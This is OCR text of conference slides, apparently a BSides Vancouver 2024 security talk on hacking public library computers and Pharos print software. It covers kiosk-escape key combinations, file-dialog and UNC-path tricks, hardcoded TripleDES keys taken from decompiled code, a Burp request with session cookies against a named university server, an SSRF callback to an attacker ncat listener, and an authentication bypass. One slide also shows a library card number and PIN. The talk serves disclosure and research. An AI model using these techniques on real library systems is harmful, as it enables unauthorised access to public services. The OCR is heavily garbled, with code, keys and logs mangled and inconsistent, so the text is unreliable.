— - — L _-_ ---_ ] -_
-- . DR . . . . . . 5 . --
- - 7 - - = - \ - .
5 . . 8 . 5 0
= @ e = H gy e - — ol o iES e e | wE . (W ]

Hacking Libraries

(The kind that loan books)

BSides Vancouver 2024 — Wesley Wineberg
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—a On Site Hacking ey

! (Like a Physical Security Assessment, but not)







Criminal Code (R.S.C., 1985, ¢. C-48)
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Unauthorized use of computer

342.1 (1) Everyone is guilty of an indictable offence and liable to imprisonment for a term of not mare than 10
years, or is guilty of an offence punishable on summary conviction who, fraudulently and without colour of right,

{a) obtains, directly or indirectly, any computer service;

{b) by means of an electro-magnetic, acoustic, mechanical or other device, intercepts or causes to be
intercepted, directly or indirectly, any function of a computer system;

{c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offence under
paragraph (a) or (b) or under section 430 in relation to computer data or a computer system; or

(d) uses, possesses, traffics in or permits another person to have access to a computer password that would
enable a person to commit an offence under paragraph (a), (b) or (c).

Mischief in relation to computer data

{1.1) Everyone commits mischief who wilfully

{a) destroys or alters computer data;
{b) renders computer data meaningless, useless ar ineffective;
{c) abstructs, interrupts or interferes with the lawful use of computer data; or

{d) obstructs, interrupts or interferes with a person in the lawful use of computer data or denies access to
computer data to a person who is entitled to access to it.
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long tweets mcgee
@_Amanda_Killian

Libraries literally aren't just a
place to obtain books for free.

They're one of the few public
spaces left in our society where
you're allowed to exist without
the expectation of spending
money.







Who Would Hack A Library?

British Library starts restoring services
online after hack

15 January 2024

By Noor Nanji, Culture correspondent

The British Library's main catalogue, with more than 36 million records, returned
online on Monday after last year's cyber attack.




Ransomware?

$1.061,010;2% g $631, ;1%
\ 2023 Expenses

EDER o $58.9M

$5,374,733 ;9%

$6.709,675;11%

m Salaries & Benefits
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Collections
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$43,999,048; 75%
u Supplies & Materials
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® Equipment & Fleet
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Learning Opportunity: VDI's
VDI Use Cases

VDI can be useful to any industry that is looking to implement a highly

repeatable end user experience at scale. Here are a few key examples:
* Banking and financial institutions: VDI allows banks to tightly

control what information their endpoint systems can access. This
" level of control makes it easier to handle sensitive financial
transactions under a heavily scrutinized and regulated %
environment.

* Hospitals and healthcare environments: Hospitals also handle
confidential information and must abide by complex regulations
such as HIPAA in the United States. Additionally, nurses and
doctors are highly mobile in a healthcare environment, moving
from thin client to thin client throughout the workday. A VDI
implementation allows users to cycle in and out of different
profiles on the same device while keeping information siloed and
helping meet privacy requirements. VDI can also offer context-




Getting Started

- No laptop required!
- Don't get your laptop stolen




Three Options

. Hack from the wifi

. Hack the catalog / printing PC’s
. Hack from the internet use PC’s
—AHaekthestaH-PEs




Wifi

. All libraries have free wifi
- Usually no login required
. Some have wifi isolated — others have internal network access

Wireless LAN adapter Wi-Fi:

Connection—-specific DNS Suffix

Description . . . . . . . . . . . : Intel(R) Wi-Fi 6E AX210 160MHz

Physical Address. . . . . . . . . : 70

DHCP Enabled. . . . . . . . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::7ce3:c83U:f1ff:1d81%11(Preferred)
IPv4 Address. . . . . . . . . . . : 10.2.127.119(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.248.0

Lease Obtained. . . . . . . . . . : May 24, 2024 5:35:20 PM

Lease Expires . . . . . . . . . . : May 24, 2024 5:50:41 PM

Default Gateway . . . . . . . . . : 10.2.127.254

DHCP Server . . . . . . . . . . . @ 207.194.177.177

DHCPv6 IAID . . . . . . . . . . . : 166995577

DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2B-BC-EA-18-84-A9-38-F1-B5-C1
DNS Servers . . . . . . . . . . . : 207.194.177.177

NetBIOS over Tcpip. . . . . . . . : Enabled




Wifi
. Host to host connections — Enabled in Vancouver!
. City proxy server (Connectra Check Point) in Burnaby:

- bastien.city.burnaby.bc.ca.proxy




Wifi

- Even with internal access — Wifi is the most limited option.

v Q) captive Portal X +

c 25 captiveportal-login.vpl.ca/swarm.cgi?opcode=cp_generateBtorig_url=687474703a2f2{7777772e6d736674636f6e6e656374746573742e63616d27265646972656374

2

Welcome to VP

VPL provides Wi-Fi free of charge. Please
follow copyright and other laws and take
personal measures to use Wi-Fi securely.
Refer to full terms of use on the next page




Catalog PC’s




Catalog PC’s

- These PC’s are labelled as being for searching the library catalog
- Usually locked down to catalog searches only.




Catalog PC’s

- ldentify restrictions:
- Windows Key, Alt, Ctrl, etc?
- Right Click?
- Kiosk mode, or desktop / application access?

- ldentify goals:
- Filesystem access
- Network access
- Web browser
- Other?




Basie Kiosk Escapes

- Key combos:
- Windows key (Start menu)
- Ctrl-Shift-Esc
- Alt-Tab
- Windows-E
- Windows-R
- Windows-D
. Ctrl-F1, Ctrl-F2, etc (Citrix)
- Shift-F1, Shift-F2, etc (Citrix)




Get To A File Dialog!

- The standard Windows File Open / File Save dialog is very powerful
- Unlimited ways to get to it!

Search by
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File Dialogs

- Restrictions are likely in place:

- Drives that can be accessed
- Dialog options

- Right click

- Don’t give up!
. Instead of typing C:\ try: \\127.0.0.1\c$
- Instead of right clicking, drag and drop

- Shortcuts!




File Dialogs

Search by
d Printers \ @ Save Directory Search As
Edt View 7 G

Keyword v

1 for system
> Network > 127001 > c§ > Users »

Organize v New folder

Name Date modified
#* Quick access
i d
B Desktop adm_gevido
adm _lavergne
¥ Downloads
adm_plres_p
local_admin May 202
&= Pictures mt_opac
D Music Public
B Videos
# OneDrive - Personal
= Network

File name: [

Seve s type: Directory Sameh

~ Hide Folders




Internet Use PC

- Your *best* hacking experience will be the public internet use PC’s

We're piloting longer
computer sessiong,

From March 12 to Apyil 28, a compute,
session will last up to two hours :

Drop by the service desk if you hay
questions or feedback. ¢







Internet Use PC

« Usually 1 or 2 hour blocks - Like a time limited CTF!

- Library card to login — Guest accounts often available!
- Disk imaging / freezing software commonly in place

 Full internet access

- Software in place to limit session times

- Some level of OS restrictions in place

—_—

{

| Library card number
G1808908 . 9y
& PIN
Iva833

=







Internet Use PC
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1o Quick
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1) Documents
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T Onedre
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Disk Restrictions

- If file browser paths are restricted, shortcuts usually work!
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Command Prompt Restrictions

B8 crmd.exe - Shortcut Properties
p

Terminal Security Details . _ . .
— _— — Windows IP Configuration

General Shortcut Options Fart
Host Mame . . . . . . . . . . . . : CENdG47

cmd .ex : Primary Dns Suffix . . . . . . . ! VancouverPubliclibrary.org
Mode Type . . . . . . . . . . . . : Hybrid

IP Routing Emabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Target location: 5 DNS Suffix Search List. . . . . . : VancouverPubliclibrary.org

Target: SWindows \System 32%emd.exe & whoami Ethernet adapter Ethernet:

Target type: Applicati

Connection-specific DNS Suffix
Description . . . . . . . . . . . : Intel(R) Ethernet Connection (17) I219-LM

. Physical Address. . . . . . . . . : B4-7C-16-9B-19-25
Mone J
DHCP Enabled. . . . . . . . . 1 No

Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . ! 289.53.181.163(Preferred)
Comment: |:| Subnet Mask . . . . . . . . . . . : 255.255.255.9
Default Gateway . . . . . . . . . ! 289.53.181.254
Open File Location Change lcon .. Advanced. . DNS Servers . . . . . . . . . . . . 2867.194,177.180
287.194.177 .70
MetBIOS over Tcpip. . . . . . . . : Enabled

Normal window

The command prompt has been disabled by your administrator.

Press any key to continue



Internal Network, Apps

PRINTING IS CURRENTLY UNAVAILABLE

OUR APOLOGIES FOR THE
INCONVENIENCE
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7 Quick access
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17 items
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- 2
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» This PC » OSDisk [

% % % %

1 itemn selected 674 bytes
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LocalInputsDisabled=0
IdleTimeout=0
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QusrySetting=2
gueryTimeout=10
Juervidccept=0
LockS=stting=0
Removelallpaper=0
Removed=sro=0
DebugMod==0
Avilog=0
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LoopbackOnly=0
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File

3% ILSpy
View Window Help

2 V| e vt 47

#z StateAvailable

“z StatelnUse

# StateloadingSettings

#z StateloglninProgress

“z StateNoComm

“ StateNotRegistered

#3 StateNotWorking

#3 StateOutOfServiceConfigError

#3 StateReserved

#3 StatesFactoryBase

o= SYSTEMTIME

#z TerminalServicesClient

“z ThreadSleepTimer

“g TsClientContext

#z TsClientServiceRegistry

#z TSClientThread

“z TSStatelnUse

# TSStatesFactory

#3 VDIRemoteSessionManager

# WorkstationClientThread

#3 WorkstationSessionManager
ClientShared.RequestProcessor

“z ExtendSessioninfoRequestProcessor

“z ExtendSessionRequestProcessor

*z LoginRequestProcessor

*2 LogoutRequestProcessor

“z MessageRequestProcessor

“3 RequestProcessorBase

+ %3 ViewBalanceRequestProcessor

{} ClientShared.Vista

System.DirectoryServices (4.0.0.0, NETFramework, v4.0)
logdnet (1.2.10.0, NETFramework, v4.5)
ManagedCplusplusDIl (1.0.8152.31986, .METFramework, v4.3)
ClientCommShared (3.0.0.1, .NETFramewaork, v4.5)
18 Metadata

" References

-

{} ClientCommShared

{} ClientCommShared.CryptedComms

+ %3 EncryptedNetworkStreamClient

*0 |DataCrypter

#3 TripleDESCommsCrypter

+ % Base Types

+ ¢ Derived Types
_cryptoTransformDecryptor : [CryptoTransform
_cryptoTransformEncryptor : ICryptoTransform
_desCrypter: TripleDES

_desKey : byte[]

_desVector : byte[]

_encading : UTF8Encoding
TransformDecryptor : [CryptoTransform
TransformEncryptor : [CryptoTransform
TripleDESProvider : TripleDES

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

}

P I

+

&

oot

D% oLl .L.0.0.0

v cEloosvs2z v QB @ O

- q

TripleDESCommsCrypter() ~

// ClientCommshared.CryptedComms.TripleDESCommsCrypter |
using System.Security.Cryptography;
using System.Text;

private UTF8Encoding _enceding = new UTFBEncoding();
public TripleDESCommsCrypter()
{

private TripleDES _desCrypter = new TripleDESCryptoServiceProvider(); ‘

_deskey = new byte[24]

138, 191, 145, 37, 1, 239, 229, 173, 241, 52,
4, 14, 122, 171, 14, 61, 285, 218, 244, 79,
22, 11, 164, 62

i

_desVector = new byte[8] { 8, 7, 6, 5, 4, 3, 2, 1 };

initialize();







Pharos
UniPrint

AKA Pharos Print Center
AKA My Print Center




Identifying Targets

v @ Uniprint X -+

< C funiprint/Default.asp

4

PHAROS Uniprint

) Packages = & Maps
Uniprint Home @ Help 3 Refresh

| Status Summary 5/27/2024, 3:29:39 PM\,

Welcome to the Uniprint Home page. You can use this Web site to install the software required to print using
the Uniprint system.

Click here if you know which software package you need to install.

Click here if you would like to browse for the software you need based on your location.

Packages 0 Packages

Maps 2 Maps




Web Print Job Management / Payment

- Pharos Uniprint allows users to manage their print jobs, see printing costs, add
funds, choose printing options, etc
- This software is popular with libraries and universities in the US

2




Web Print Job Management / Payment

My Print Center x| +

QO i hitps;//192.168.136.89,

@ Help | Welcome admin +

Reports Theme Admin  Custom Charges  Secure

3 Refresh

Print Preview Pages Pices of Paper Submitted Date +

W a0 No ftems to display

Payment method - Destination -

My Funds : $0.00 Select a printer
% Total avaiaiz funds Ly P

© Copyright 2024 - Powered by Pharos®




Web Print Job Management / Payment
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Get The Software

<« C @ community;pharos.com/s/article/Uniprint-Service-Packs-and-Hot-Fixes

Search SEARCH
PHAROS

HOME PRODUCTS v DOCUMENTATION DOWNLOADS KNOWLEDGE BASE = CONTACT SUPPORT

Downloads - Downloads ASKAQUESTION

© RELATED ARTICLES

Uniprint Service Packsand Hot F X =+

Blueprint Enterprise: Service Packs and Updates

Uniprint Service Packs and Updates

MobilePrint Service Packs and Hot Fixes

Uniprint 9.2

“fou can apoly these 9.2 updates automaticaly via the Updater Service in the Pharos Administrator. You only need to download these files if your Uniprint server does NOT have interet access. The ftems Windows service packs, hot fixes and updates
marked with an asterisk are only available via this page. See Also: Uniprint Documentation

Component Revision Released Link Documentation Uniprint 8.0 R2 and 9.1 Service Packs: Best Practices

Pharos Print Center (NEW) 50319 APR 2024 download ReadMe
Pharos Page Counter Hot Fixes

site Security Utility* AUG 2023 download ReadMe

TRENDING ARTICLES

EDI Service DEC 2023 download ReadMe
Uniprint Print Cenfer Basic Information

SignUp Nerve Center DEC 2023 download
Pharos Print App Help

Popup Controller NOV 2023 download ReadMe Print Genter Helo for Uniprint Users

Signup Visit - Nov 2023 downioad Read
1gnUp Visttor purge cunloa eace HOWTO: Diagnose 401 x HTTP emors on UIS

IPP Service* APR 2023 download ReadMe
Eror "There are no more endpaints avalable from the endpoint mapper."

DotNet Core 6 hosting bundle”  6.0.15 APR 2023 download ReadMe
Print Server (NEW) 328 MAR 2024 download ReadMe
Sentry Print Service (NEW) 41101 MAR 2024 download Readme

Pharos PC Station” (NEW) 327 MAR 2024 download Readme

Uniprint 9.1

“You can apply these 9.1 updates automaticaly via the Updater Service in the Pharos Administrator. You only need to download these files if your Uniprint server doss NOT have intemet access. The items:
marked with an asterisk are only available via this page. See Also: Uniprint Documentation




Catalog of vulnerabilities S
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Catalog of vulnerabilities _©
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Passwords
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Print Job Contents

[=[=
My Print Center X o+ v

e % 0@ :

< c a Jinyprintcenter/

@ Help | Welcome -

43 Refresh & Upload

Type Title

Print Preview Pieces of Paper Submitted Date o

Wa 1-1 011 items

Payrment methad Print options

v

(] oo [E] s
e [ = o Felectapner [ e |
Totel available funds ides: D opi = o

Page range:

Destination

Copyright 2023 - Powered by Pharos®




Print Job Contents

Burn Sueprofesionsly R@EUIRST

Burp  Project Intrude

Dastboard  Targer  PTERLY Raw Hex . n
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aseararanla.
Mecepty cexe/oT:
ACCEpT-Language: 4
hecept-Encoding] 5

L K-Pe
Content-Lengeh
origin: 13
s

FOST

SPharosAPI/pr J.nt,jobs/_c::'?NRDOJ.gE—'?9HZVp'?uenUaevCKKevT—aEQEt.LS yZQ_'?_Ryj gqpésI8zJR
NnLWZJcontent?_request=8hb07f3f—Sfe3—4ece—9€e8—c3dedSSSeaS HTTE/L.1

Hostc: cometprint.utdallas.edu

Cookie:
LS USAL Ly A= LAR S~ U A LR

65EEULlesiDSSBVJQEdUVquhVEgVEC—WS—CnBDaDUhDXZUVDQHCH_—ChSDBSSHFX:ZS?VEEHUQWY30_3XVDPHOkSlCQlCMLGhQZ—m
zF_3GAexBUHSU4CEVEwuCTxJt 43 0bn3 tums Tof 2UTwuKaZ QXAT75h0e 1eqO5 TopD8dlr Yyfj JeOvdFugEudmQdFHI 213 TpiFme AGTO
-M7ZCyVgZ-SP437UGv_yh_TpWeSFlpohwSFIZvkieEqyVRuYuK; PharosAPI.X-PHAROS-USER-URI=
ZZFusersiiFeRIgrngldpop8YGlE3bzDws

User-LAgent: _ _

Accept: text/plain, */*; g=0.01

Aececept-Language: en-US,en;g=0.5

Aoecept-Encoding: gzip, deflate

Eeferer:

Content-Type: application/json

¥-Accept-Encoding: bassg4d

¥-Requested-With: XMLHttpREequest

Content-Length: 143

Origin:

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Te: trailers

Connection: close

"PrintJok':{

"PagesT:mO",

"FinishingOptions™:{
"Duplex™:trus,
"Mono":true,
"PagesPerSide: 1
"Copies™:l,
"DefaultPageSize™: "Lecter”,
"PageRangs": """

oo =

©) Settings
g

atches

15| 1,092 millis




Printjob Code

LU= s]

7 ILSpy
File View Window Help
\ o

(Defautt) c100/vs202 ¥ | Q

EncryptObjectToken

NETFramenork, v4.6.1) 1/ PharosSystems.Rest .APL. Core. EncryptObjectToken
using

*

References .
Resources public static class EncryptobjectToken

private static readonly &

fthm = new TripleDEsc
PharosSystems Rest APl Core yP 2 P
ApplicationContainerConfiguration

Y - |

private static readonly byte[] Vector = "XwOnowOYHUALGBG2".ToString() .GetBytes();

s

public static byte[] GetBytes(this string value)
{

s

DefaultYesNoOptionExtensions return Encoding.UTF8.GetBytes(value);

DeviceCallContext
ExecutionPolicy
10bjectToken
TerminalCallContext
PharosSystems Rest APL.Core Authentication
PharosSystems Rest API.Core. Caching
PharosSystems Rest APL.Core.Configuration
PharosSystems Rest APL.Core. Converters
PharosSystems Rest APL.Core.Data
PharosSystems Rest APl Core.Errors
PharosSystems Rest. APL. Core Extensions

Rest APl return Convert.ToBase64String(data. GetBytes (). Encrypt("6PqcEVilpyviTOiBX"));
PharosSystems Rest APl Core Library
PharosSystems Rest APL.Core.Logging
PharosSystems Rest APL. Core.Models
PharosSystems Rest APL.Core Models Alert
PharosSystems Rest API.Core Models Bank
PharosSystems Rest APL. Core Models Capteha }
PharosSystems Rest APL.Core.Models.ChargingModel
PharosSystems Rest APL.Core Models ClientNotification
PharosSystems Rest APL.Core Models CostCenters

Rest API.Core Maodels
PharosSystems Rest APL.CoreModels Device

Rest dels.D
Modek

s

public static byte[] Encrypt(this byte[] data, string key)
{

return Transform(data, CryptoService.CreateEncryptor(key.Getytes(), vector));

s
EEFFFF LV

>3

public static byte[] Decrypt(this byte[] data, string key)

.
&
Pt

'Y

return Transform(data, CrypteService.CreateDecryptor(key.Getsytes(), Vector));

public static string Encrypt(this string data)

public static string Decrypt(this string data)

byte[] data2 = Convert.FromBase6astring(data);
return Encoding.UTFS.GetString(data2.Decrypt("6Pqc6VhpyvtTOIBK"));

DD 00,00

@

private static byte[] Transform(byte[] data, ICryptoTransform cryptoTransform)

if (data == null)

return null;

RestAPl,
PharosSystems Rest.API.Core Models. EventLog
PharosSystems Rest.API. Core Models. PP

using HemoryStream memoryStream
using (CryptoStream cryp
1

new MemoryStrean();
= new Cryptosts

. cryptoTransforn, CryptoStreamdode.Write))

. API.Core ModelsM
Rest.APLCore Model
PharosSystems Rest.APL.Core Models Plugin
£ API.Core:Models.P
PharosSystems Rest.APL.Core Models Printlob
PharosSystems Rest.AP|.Core Models Purse
PharosSystems RestAPL.Core Models QRCode
PharosSystems Rest.APL.Core Models Quota
PharosSystems Rest.API.Core:ModelsRole
PharosSystems Rest.API.Core Models Server
PharosSystems Rest. API.Core Models Settings
PharosSystems Rest.APL.Core Models SpooiQueue
PharosSystems Rest.APL.Core Models Terminal
PharosSystems Rest.APL.Core Models Transaction
PharosSystems Rest.API.Core Models.User

ICharg

cryptoStream.Write(data, @, data.Length);
cryptoStream. FlushFinalBlock() ;

return memoryStream. ToArray ()3

public static string EncryptToSafestring<T>(T obj) where T : IobjectTeken

if (obj == null)
return null;

¥
using MemoryStream memoryStream = new MemoryStream();

obj.Writer(binaryliriter);
return Lity.un

1 . ToArrav() . Encrypt( "6Pac6VNpyUETOiBX")) :




Identifier Decryption

18612824

Encrypted SSRF string:
c27NRBO1g6-79WZVpT7uenDzkescMdmfyiStuXkc5c4Si3xbyomaZkfh-amByyoctw7j7HNXSNZ _eUuMoog_og2

EF:\Sec\Tools\PythonScripts>




Target Custom Server

rofessionsl V202363 - licensed to Wesley Wineberg [single user license]
cmd.exe - ncat -v -l -p

Microsoft Windows [Version 18.8.20348.1787]
(c) Microsoft Corporation. All rights reserwved.

C:\Users\Administrator>ncat -v -1 -p 868

Ncat: Version 7.94 ( https://nmap.org/ncat )

Mcat: Listening on [::]:888

Mcat: Listening on ©.6.0.0:888

Mcat: Connection from 1 7578.

@ e88lnet.tcp:/ /Wi 34 . 222 . 217 .47 .nip.io/PharosSystems/SecureRelease/Services/SecureReleaseService. svc?
lapplication/ssl-tlsg

g




) bigtrace:txt - Notepad

NET WCF Communications

Name="System.ServiceModel . Messagelogging” /><Correlation ActivityID-"{@008000-2000-0000-0000 }" /><Execution Processhame="service” ProcessID="8452" ThreadI /5<Channel/><Computer>EC2AMAZ-
56PON@</Computers></System><ApplicationDatas<TraceData><Dataltems<MessagelogTraceRecord Time="2023-87-11T19 3.5001149+80:00" Source="ServicelevelReceiveRequest” Type="System.ServiceModel.Channels.BufferedMessage”

xmlns="http: //schemas.microsoft.com/20884/06/ServiceModel /Management/MessageTrace”><s : Envelope xmlns:s="http://ma.u3.org/2003/85 /s0ap-envelope” xmlns:a="http://wmi.u3.org/2005/08/addressing” ><s: Headers<a: Action
s:mustUnderstand="1">http://tempuri.org/IConnectionRegister/Duplicatec/a:Action><a: MessageIDsurn:uuid: FO92cF31-4955-404-a950-59259dcI2bab< /a: MessagelDs<a: ReplyTos<a: Addressynet. pipe: //nettcpportsharing/70c22114-aab5-4868-8b72-
d261652b9dd/</a: Address></a:ReplyTor<a:To s:mustUnderstand="1">http: //wm.w3.org/2005/88,/addressing/anonymous</a: To></s:Headers<s:Body><Duplicate xmlns="http://tempuri.org/"><duplicateContext i:type="b:TcpDuplicateContext”
xmlns:b="http://schemas.datacontract.org/2084/07/Systen. ServiceModel. Activation” xmlns:i="http://um.u3.org/2601/XMLSchena-

1 :readData>AAEAAQECbGS1dC 50Y3A6Ly93d3d3d3d3d3d 3d3d3d 3cuMzQuMi Ty L Ixtly 40Ny SuaXAuah8uUGhh cmdzU312d6Vecy STZHNLcmVSZx LYKNIL 1N 1cnZpY2Vz LINLY 3Vy ZVI 16GUh c2VTZXI2aWN1L2YiMH< /b : readData><b : via>net . tep: / /wmmnmnnanannmni . 34. 222 217.
47.nip.io/PharosSystens/SecureRelease/Services/SecureReleaseService. svec/b:via>ch: socketInformation xmlns:c="http://schemas.datacontract.org/2004/07/Systen. Net.Sockets”><c: options>Connected

UsenlyOverlappedIO</c:options><c: protocolInformation>ZgACAAAAAAAAAAAAAAAAAAGAAACEGE/ Ni6VPEYY JATBFSKGSBGMAAAE g AAAAEAANAAE) DQEAABNU@FGRCBUY3BpcCBLVENQLA1QX

/c:protocolInformations<c: remoteEndPoint
_Faily>Interiietuorks/d:n_Family><d:m_HashCode>@</d:n_HashCode><d:m_Numbers
unsignedShorts<e:unsignedShort>8</e:unsignedShorts<e: unsignedShort>8</e:u
nsignedShorts<e:unsignedShort>8</e:unsignedShorts<e: unsignedShort>8</e: unsignedShorts<e:unsignedShort>< fe: unsignedShort></d:m_Numberss<d:m_Scopeld>8</d:m_Scopelds></d:m_Address><d:m_Port>53851</d:n_Port></c:remoteEndPoints</b: socketInf
ormations</duplicateContext></Duplicates</s:Body></s: Envelopes< /MessagelogTraceRecords< /Dataltems</TraceDatas</ApplicationDatas< /E2ETraceEvent><E2ETraceEvent xmlns="http://schemas.microsoft. con/2004/06/E2ETraceEvent”><System
xmlns="http: //schemas.microsoft.con/2684/06 /windows/eventlog/systen” ><EventID></EventID><Type>3</Type><SubType Neme="Information”>8</SubTypes<Level>8¢/Level><TimeCreated SystemTime="2023-87-11T19:04:03.52006672" /><Source
Name="Systen.ServiceModel . Messagelogging” /><Correlation ActivityID="{@0808000-3000-8000-0000 }" /><Execution Processhame="service" ProcessID="8452" ThreadID="4" /><Channel/><Computer>EC2AMAZ-
56PO0N8B</Computer></System><ApplicationData><TraceData><Dataltem><MessagelogTraceRecord Time="2023-87-11T19:04:03.5200667+00:08" Source="ServicelevelSendReply” Type="System.ServiceModel.Dispatcher.OperationFormatter
+OperationFormatterMessage” xmlns="http://schemas.microsoft. con/2884/66/ServiceModel/Management /MessageTrace” ><s:Envelope xmlns:a="http: /fu.w3.0rg/2005/08 /addressing” xmlns:s="http: //wums.w3.0rg/2003/05/s0ap-
envelope”><s:Header><a:Action s:mustUnderstand="1">http://tempuri.org/IConnectionRegister/DuplicateResponsec/a:Action></s:Header><s :Body><DuplicateResponse
ittp: //tempuri.org/">¢/DuplicateResponses</s:Body></s: Envelopes< /MessagelogTraceRecord>« /Dataltems</TraceData></ApplicationDatas</E2ETraceEvent><E2ETraceEvent xmlns="http://schemas.microsoft.com/2084/06/E2ETraceEvent”><System
/EventID><Type>3¢/Type><SubType Name="Information">8</SubType><lLevel>8</Level><TimeCreated SystemTime="2023-07-11T19:04: .5238658Z" /><Source
System.ServiceModel.Messagelogging” /><Correlation ActivityID="{@0800000-2000-2000-0000 }* /><Execution Processhame="service” ProcessID="8452" ThreadID="4" /><Channel/><Computer>EC2AMAZ-

56PONS@</Computer></System><ApplicationDatas<TraceData><Dataltems<MessagelogTraceRecord Time="2023-87-11T19:04:03.5230658:00:00" Source="TransportSend” Type="System.ServiceModel.Dispatcher.OperationFormatter+OperationFormattertessage”
xmlns="http://schemas.microsoft.com/2004/06/Servicetodel /Management /MessageTrace™><s  Envelope xmlnsis="http://wid.w3.org/2003/05/50ap-envelope™ xmlns:a="http://wwi.u3.org/2005/08/addressing” »<s  Header><a: Action
s:mustUnderstand="1">http://tempuri.org/IConnectionRegister/DuplicateResponse</a:Action><a: RelatesTosurn: uuid: FO92cF31-4955-4e84-a950 -59259dc92bab< /a: RelatesTos<Activityld CorrelationId="1f561f74-d74c-4a83-851d-dc948c021e78"
xmlns="http: //schemas.microsoft.com/2004/89/ServiceModel /Diagnostics” 0000-0000-0000 fActivityIds<a:To s:mustUnderstand="1"snet.pipe://nettcpportsharing/78c22114-aabs-4868-8b72-
d261652b9dd/< /a:Tor</s:Header><s:Body ><DuplicateResponse xmlns="http://tempuri.org/"></DuplicateResponse></s:Body></s: Envelope></MessagelogTraceRecords></Dataltems </TraceData></ApplicationData></E2ETraceEvent><E2ETraceEvent
xmlns="http: //schemas.microsoft.com/2084,/06/E2E TraceEvent”><System xmlns="http://schemas.microsoft.con/2004/06/uindows/eventlog/systen"> EventID>B</EventID><Type>3</Type><SubType
Name="Information">0</SubType><Level>8</Level><TimeCreated SystemTime="2023-07-11T19:04:63.82406967" /><Source Name="System.ServiceModel.Messagelogging” /><Correlation ActivityID="{0a800¢
Processhame="service” ProcessID="8452" ThreadID="4" /><Channel/><Computer>EC2AMAZ-56PONBE</Computer></System>cApplicationData><TraceData><Dataltem>cMessagelogTraceRecord Time="2023-67-11T

System.ServiceModel.Channels. StreamedMessage” xmlns="http://schemas.microsoft.com/2804/86/ServiceModel/Management MessageTrace”><s:Envelope xmlns:s="http:/

s:mustUnderstand="1">http://schemas.pharos.com/SecureRelease/Contracts/ISecureReleaseDataContractJobOperations/GetJobInformation</a:Action><a:MessageID>urn:uuid: 228546 -ab66-41dd-b3e3-
3c67¢5C727¢d</ :ReplyTo><azAddress>http: //wwi.u3.org/2005,/08/addressing/anonymous</a: Address></a: ReplyTo><ClientVersion xmlns="http://schemas.pharos.com/Comnunications /Header
instance”><ContractVersion xmlns="http://schemas.pharos. com/Conmunications/Contracts”>1.1.0.0</ContractVersions<InterfaceVersion xmlns="http://schemas.pharos. com/Communications/Contracts”
http: //schemas.datacontract.org/2004/87/Systen"><b:_Build>-1¢/b:_Build><b:_Major>4</b:_Major><b:_Minor>8</b:_Minor><b:_Revision>-1¢/b:_Revision></InterfaceVersion><Productiane
"http: //schemas. pharos .com/Comnunications /Contracts">Pharos . API</Productiame><ProductVersion xmlns="http://schemas.pharos.con/Comunications/Contracts” xmlns:b="http: //schemas.datac
1</b:_Build><b:_Major>1</b:_Major><b:_Minors>3</b:_Minor><b:_Revision>-1¢/b:_Revisions</ProductVersion»</ClientVersions<a:To
s:mustUnderstand="1">net. tcp: //mannnanannanad . 34. 222.217 .47 .nip. io/PharosSystens/SecureRelease/Services /SecureReleaseService. sve< /a: To></s:Header><s:Body>. .. stream
...</s:Body></s:Envelope></MessagelogTraceRecord></Dataltems </ TraceData></ApplicationData></E2ETraceEvent><E2ETraceEvent xmlns="http: //schemas.microsoft.com/2084/06/E2ETraceEvent”><Systen
xmlns="http: //schemas.microsoft.com/2684/06 /uindous/eventlog/systen" ><EventID>131075< /EventID><Type>3</Type><SubType Name="Error">0</SubTypes<Level>2</Level><TimeCreated SystemTime="2023-

Name="System.ServiceModel" /><Correlation ActivityID="{ }" />cExecution Processlame="service” ProcessID="8452" ThreadID="4" /><Channel/><Computer>EC2AMA
56PON8O</Computer></System><ApplicationData><TraceData><Dataltem><TraceRecord xmlns="http://schemas.microsoft. con/2604/10/E2ETraceEvent/TraceRecord” -/ o O

Severity="Error”><Traceldentifiershttps://docs. microsoft. com/dotnet, framework ucf/diagnostics/tracing/System-ServiceModel-Diagnostics-ThrowingException</TraceIdentifiers<Description>Throw
exception.</Description><AppDomain>service. exe< /AppDomain><Exception><ExceptionType>System. ServiceModel . EndpointNotFoundException, System.ServiceModel, Version=4.0.8.0, Culture=neutral,
PublicKeyToken=b77a5c561934e889¢/ ExceptionType> MessagesThere was no channel that could accept the message with action
.</Message><StackTrace»  at System.ServiceModel.Dispatcher.ErrorBehavior.Thrc
DatagramChannelDemuxer 2.Processitem(11nneritem item
at System.ServiceModel.Channels.DatagramChannelDemuxer” 2.HandleReceiveResult (IAsyncResult result)
at System.ServiceModel.Channels.DatagramChannelDemuxer’ 2.0nReceiveCompleteStatic(IAsyncResult result)
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Authentication Bypass

Chrome Print

Time

2:46pm

12:40am

12:40am

9:43pm

9:43pm

4:09pm

4:09pm

11:58am

() My Print Center x|+

<« (] O ﬁ; h ://192.168.136.89/m' tcenter/#admin-alerts
My Printing  Reports ~ Theme Custom Charges ~ Secure
Users  Queued Jobs Printed Jobs  Transactions  Alerts QR Codes

T Refresh

Server ServiceType Operation User Date
MSEDGEWIN1O Pharos Print Se. Starting 51252024
MSEDGEWIN1O Pharos Print Se. Starting 312812024
MSEDGEWIN1O Pharos Payme._. Senvice Start 3i28/2024
MSEDGEWIN1O Pharos Print Se._ Starting 3i25/2024
MSEDGEWIN1O Pharos Payme._. Senvice Start 3i25/2024
MSEDGEWINIO Pharos Print Se.. Starting 3i25/2024
MSEDGEWIN1O Pharos Payme... Senice Start 312512024
MSEDGEWINTO Pharos Print Se.. Starting 3/25/2024
<

M)l4)@ 2 3 . (»)(m 20 v

@ Copyright 2024 - Powered by Pharos®

Severity

Error

Error

Information

Error

Information

Error

Infarmation

Error

Message

License Server

License Server .

Payment Notific.

License Server .
Payment Notific.
License Server ...

Payment Motific...

License Server ...

@ Help

Error Code

29009

20009

30124

29009

30124

29009

30124

29009

Welcome admin ~

Client

PServer

PServer

MSEDGE

PServer

MSEDGE

PServer

WMSEDGE

PServer

>

1-200f 89 items

A

<

o !

i€




[ server Configuration

LDAP Misconfiguration

View Help

Banks - No filter applie

Name

Filter

ACT Bark
